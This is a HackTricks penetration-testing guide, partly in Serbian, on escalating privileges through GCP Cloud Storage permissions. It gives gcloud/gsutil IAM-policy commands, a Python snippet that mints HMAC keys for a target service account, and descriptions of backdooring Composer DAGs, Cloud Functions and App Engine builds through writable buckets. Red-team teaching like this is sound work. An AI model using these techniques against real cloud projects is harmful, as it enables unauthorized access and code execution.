GCP - Storage Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Storage

Osnovne informacije:

GCP - Storage Enum

storage.objects.get

Ova dozvola vam omogućava da download files stored inside Cloud Storage. To potencijalno može omogućiti eskalaciju privilegija jer se u nekim slučajevima sensitive information is saved there. Pored toga, neke GCP usluge čuvaju svoje podatke u buckets:

  • GCP Composer: When you create a Composer Environment the code of all the DAGs will be saved inside a bucket. Ovi zadaci mogu sadržati interesantne informacije u svom kodu.
  • GCR (Container Registry): The image of the containers are stored inside buckets, što znači da ako možete čitati buckets moći ćete da download the images i search for leaks and/or source code.

storage.objects.setIamPolicy

Ova dozvola vam može omogućiti da abuse any of the previous scenarios of this section.

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

Za primer kako izmeniti dozvole koristeći ovu dozvolu, pogledajte ovu stranicu:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Funkcija “interoperability” u Cloud Storage-u, namenjena interakcijama između cloudova kao što je AWS S3, podrazumeva kreiranje HMAC ključeva za Service Accounts i korisnike. Napadač to može iskoristiti tako što će generisati HMAC ključ za Service Account sa povišenim privilegijama, čime će eskalirati privilegije unutar Cloud Storage-a. Dok su HMAC ključevi povezani sa korisnicima dostupni za preuzimanje samo preko web console, i access i secret keys ostaju stalno dostupni, što omogućava potencijalno čuvanje rezervnog pristupa. S druge strane, HMAC ključevi povezani sa Service Account-ima su dostupni preko API-ja, ali njihovi access i secret keys se ne mogu preuzeti nakon kreiranja, što uvodi dodatni nivo kompleksnosti za kontinuirani pristup.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Još jedan exploit script za ovu metodu može se naći here.

storage.objects.create, storage.objects.delete = Storage Write permissions

Da biste kreirali novi objekt unutar bucket-a potrebni su storage.objects.create i, prema the docs, potreban vam je i storage.objects.delete da biste modifikovali postojeći objekat.

Vrlo česta eksploatacija bucket-a u kojima možete pisati u cloud je kada bucket čuva fajlove web servera — moguće je smeštanje novog koda koji će koristiti web aplikacija.

Composer

Composer je Apache Airflow managed unutar GCP. Ima nekoliko interesantnih osobina:

  • Radi unutar GKE cluster, tako da je SA koji klaster koristi dostupan kodu koji se izvršava unutar Composer-a
  • Svi delovi composer environment-a (code of DAGs, plugins i data) su uskladišteni u GCP bucket-u. Ako napadač ima read i write permissions nad njim, može pratiti bucket i kad god se kreira ili ažurira DAG, ubaciti backdoored verziju tako da composer environment preuzme backdoored verziju iz storage-a.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • Cloud Functions code se čuva u Storage i kad se kreira nova verzija, kod se gura u bucket i zatim se iz tog koda pravi novi container. Dakle, prepisivanjem koda pre nego što se nova verzija build-uje moguće je natjerati cloud function da izvrši arbitrarni kod.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

AppEngine verzije generišu neke podatke unutar bucket-a sa formatom imena: staging.<project-id>.appspot.com. U tom bucket-u moguće je naći folder zvan ae koji sadrži folder po verziji AppEngine aplikacije i unutar tih foldera moguće je naći fajl manifest.json. Taj fajl sadrži json sa svim fajlovima koji se moraju koristiti za kreiranje specifične verzije. Štaviše, moguće je pronaći prava imena fajlova, URL do njih unutar GCP bucket-a (fajlovi u bucket-u promene ime u sha1 hash) i sha1 hash svakog fajla.

Napomena da nije moguće pre-takeover-ovati ovaj bucket jer GCP korisnici nisu autorizovani da generišu bucket-e koristeći domen appspot.com.

Međutim, sa read & write pristupom nad ovim bucket-om, moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što se prati bucket i svaki put kad se izvrši promena (nova verzija), modifikuje nova verzija što je brže moguće. Na taj način container koji se kreira iz tog koda će izvršiti backdoored kod.

Navedeni napad se može izvesti na više različitih načina, svi počinju praćenjem staging.<project-id>.appspot.com bucket-a:

  • Upload-ujte kompletan novi kod AppEngine verzije u drugi dostupan bucket i pripremite manifest.json fajl sa novim imenom bucket-a i sha1 hash-evima fajlova. Kada se nova verzija kreira u bucket-u, samo trebate zameniti manifest.json i upload-ovati zlonamerni.
  • Upload-ujte modifikovanu verziju requirements.txt koja koristi malicious dependencies code i ažurirajte manifest.json fajl sa novim imenom fajla, URL-om i hash-om.
  • Upload-ujte modifikovani main.py ili app.yaml fajl koji će izvršiti malicious kod i ažurirajte manifest.json fajl sa novim imenom fajla, URL-om i hash-om.

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry čuva image-e unutar bucket-a, ako možete pisati u te bucket-e možda ćete moći lateralno kretanje ka mestima gde se ti bucket-i izvršavaju.
  • Bucket koji koristi GCR će imati URL sličan gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Top level subdomeni su specificirani here).

Tip

Ova usluga je deprecated tako da ovaj napad više nije koristan. Štaviše, Artifact Registry, servis koji je zamenjuje, ne skladišti image-e u bucket-ima.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks